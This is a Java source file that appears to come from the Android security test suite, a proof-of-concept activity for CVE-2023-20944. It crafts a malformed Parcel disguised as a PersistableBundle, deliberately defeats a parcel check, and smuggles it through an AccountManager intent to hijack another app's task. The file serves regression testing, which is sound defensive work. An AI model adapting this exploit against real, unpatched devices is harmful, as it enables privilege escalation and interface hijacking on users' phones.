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/*
* Copyright (C) 2023 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package android.security.cts.CVE_2023_20944_test;
import android.app.Activity;
import android.accounts.AccountManager;
import android.content.Intent;
import android.content.pm.LabeledIntent;
import android.os.Bundle;
import android.os.Parcel;
import android.os.PersistableBundle;
import android.text.SpannableString;
import android.text.style.TtsSpan;
public class PocActivity extends Activity {
@Override
protected void onResume() {
try {
super.onResume();
int targetTaskId = getTaskId() - 1;
Bundle options = new Bundle();
options.putBoolean(getString(R.string.taskOverlay), true);
options.putInt(getString(R.string.launchTaskId), targetTaskId);
LabeledIntent targetIntent =
new LabeledIntent(null, createLabelInjectingOptions(options), 0);
targetIntent.addFlags(Intent.FLAG_ACTIVITY_REORDER_TO_FRONT);
targetIntent.setClassName(this, HijackActivity.class.getName());
// Return LabeledIntent from AuthService.addAccount
PocAuthService.sAddAccountResponse = new Bundle();
PocAuthService.sAddAccountResponse.putParcelable(AccountManager.KEY_INTENT,
targetIntent);
startActivityForResult(new Intent()
.setClassName(getString(R.string.pkgName), getString(R.string.activityName))
.putExtra(getString(R.string.allowableAccountTypes),
new String[] {getString(R.string.accountType)}),
1);
sendBroadcast(new Intent(getString(R.string.bcastActionTarget))
.putExtra(getString(R.string.status), getString(R.string.noExceptionMsg)));
} catch (Exception e) {
try {
sendBroadcast(new Intent(getString(R.string.bcastActionTarget))
.putExtra(getString(R.string.status), e.getMessage()));
} catch (Exception ignored) {
// ignore any exceptions
}
}
}
private CharSequence createLabelInjectingOptions(Bundle options) {
final int BUNDLE_MAGIC = 0x4C444E42; // 'B' 'N' 'D' 'L', copied from BaseBundle
Parcel p = Parcel.obtain();
p.writeInt(0); // Will hold length
p.writeInt(BUNDLE_MAGIC);
// BEGIN data
int startOffset = p.dataPosition();
p.writeInt(0); // \0 at end of resultWho
p.writeInt(-1); // requestCode
p.writeInt(0); // flags
p.writeInt(0); // profilerInfo == null
p.writeInt(1); // options != null
int innerBundleLengthPos = p.dataPosition();
p.writeBundle(options);
int endOffset = p.dataPosition();
// END data
// Expand inner Bundle to defeat enforceNoDataAvail check
p.setDataPosition(innerBundleLengthPos);
int innerBundleLength = p.readInt();
p.setDataPosition(innerBundleLengthPos);
// To fully consume the Parcel data and to avoid BadParcelableException, 72 is added in
// innerBundleLength
p.writeInt(innerBundleLength + 72);
// Fix PersistableBundle length
p.setDataPosition(0);
p.writeInt(endOffset - startOffset);
// Read result as PersistableBundle
p.setDataPosition(0);
PersistableBundle wrapperBundle = p.readPersistableBundle();
p.recycle();
// Make a CharSequence
SpannableString spannableString = new SpannableString(getString(R.string.spannableString));
spannableString.setSpan(new TtsSpan("", wrapperBundle), 0, 0, 0);
return spannableString;
}
}
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